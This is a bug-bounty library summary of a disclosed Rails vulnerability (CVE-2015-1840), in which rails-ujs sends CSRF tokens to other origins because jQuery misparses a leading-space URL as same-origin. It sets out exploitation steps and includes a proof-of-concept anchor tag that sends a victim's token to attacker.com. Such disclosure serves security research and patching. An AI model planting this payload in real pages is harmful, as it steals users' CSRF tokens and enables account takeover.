# rails-ujs will send CSRF tokens to other origins

rails-ujs sends CSRF tokens to attacker origins via a leading-space href that jQuery misparses as same-origin, bypassing CSP.

- Payout: hidden
- Severity: medium
- Program: Ruby on Rails
- Found by: mastahyeti
- Disclosed: 2015-06-16
- CVE: CVE-2015-1840
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/49935
- Library page: https://bugbountylibrary.com/r/h1%3A49935
- Tags: area:web domain:web impact:ato kind:bounty platform:hackerone sev:medium technique:parser-differential technique:source-review vuln:csrf

**Target:** jquery-ujs / jquery-rails JavaScript library in Rails apps
**Root cause:** jQuery's same-origin regex fails open on URLs like ' https://attacker.com' (leading space), so rails-ujs treats them as same-origin and attaches the CSRF token; data-cross-domain can also force token sending.
**Steps:**
1. Inject `<a href="https://attacker.com" data-remote data-method="post" data-cross-domain="false">` into a page with XSS under CSP.
2. Victim clicks link; browser sends OPTIONS to attacker.com.
3. Attacker returns permissive CORS headers.
4. rails-ujs sends POST with user's CSRF token to attacker.com.
5. Alternatively, control only href/action and set it to ` https://attacker.com` (leading space) so jQuery's weak regex treats it as same-origin.
**How found:** Researcher was experimenting with making Rails apps send CSRF tokens to wrong domains, motivated by attacking CSP-protected sites; noticed jQuery/Zepto same-origin regexes fail open on malformed URLs like leading-space prefixes.
**Exploitation:** Attacker with HTML injection under CSP injects a data-remote link/form pointing at attacker domain; jQuery misparses leading-space URL as same-origin, rails-ujs attaches CSRF token and sends it to attacker, who captures it via CORS-enabled endpoint.
**Escalation:** Bypasses CSP that blocks inline JS, enabling CSRF token theft and subsequent state-changing requests.
**Insight:** When a framework decides same-origin by regex on a URL string, try malformed URLs (leading space, control chars) that the browser normalizes but the regex misses; also check whether data attributes can force token attachment.

## Proof of concept (copied exactly from the original report)

**Malicious anchor with data-remote and data-cross-domain**

```
<a href="https://attacker.com" data-remote data-method="post" data-cross-domain="false">
```

